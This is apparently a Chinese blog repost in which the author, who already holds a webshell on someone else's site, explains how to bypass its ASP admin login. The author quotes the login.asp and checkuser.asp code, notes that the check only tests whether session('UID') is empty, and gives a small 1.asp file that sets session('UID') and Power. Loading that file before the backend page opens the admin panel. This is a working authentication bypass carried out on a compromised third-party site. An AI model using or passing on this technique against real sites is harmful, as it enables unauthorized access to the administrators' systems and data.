zoukankan      html  css  js  c++  java
  • 伪造Session登陆后台

    前不久拿到一个站webshell 发现里面有个站程序还不错..可密码一直找不到.. 看登陆验证代码的时候就想是否可以修改代码..绕过验证访问后台呢..记的以前nowthk教过我..可怜我这个记性啊..给忘了..又请教了下nowthk... login.asp的验证代码 <%    dim user_name,user_password,upwr,uID,ukey,cmd,rs user_name=trim(request.form("uid")) user_password=trim(request.form("pwd")) user_password=jk_md5(user_password,"long") if user_name="" or user_password="" then close_conn response.redirect "../global/systeminfo.asp?flag=1" end if 如果用户和密码为空就返回global/systeminfo.asp?flag=1  这个页面提示"错误帐号或密码,请重新登陆" 在往下看代码 session("UID")=rs("UserName") session("power")=rs("Power") Session("PSW")=rs("PSW") rs.close:set rs=Nothing set cmd=Nothing close_conn response.redirect("../system/default.asp") 如果UID,,power.PSW不为空就返回system/default.asp登陆成功 checkuser.asp代码为 <% if session("UID")="" then response.redirect "../gobal/systeminfo.asp?flag=1" response.end end if %> session("UID")为空同样返回gobal/systeminfo.asp?flag=1 那也就是说只要UID参数不为空就登陆成功 然后把以下代码保存为1.asp <% session("UID")="1" Session("Power")="1" %> 先访问1.asp..然后再访问后台system/default.asp..绕过了验证..看到了后台管理页面 记录下..省的以后又忘记了
  • 相关阅读:
    ES6学习之数组扩展
    js三元表达式
    ES6学习之函数扩展
    TS学习之for..of
    TS学习之Symbol
    Visual Studio编译时报错“函数名:重定义;不同的基类型”
    Windows Visual Studio中修改PostgreSQL代码后调试报错
    Windows安装MySQL5.7.17
    289. Game of Life -- In-place计算游戏的下一个状态
    Swift的 convenience && designated init
  • 原文地址:https://www.cnblogs.com/adodo1/p/4326941.html
Copyright © 2011-2022 走看看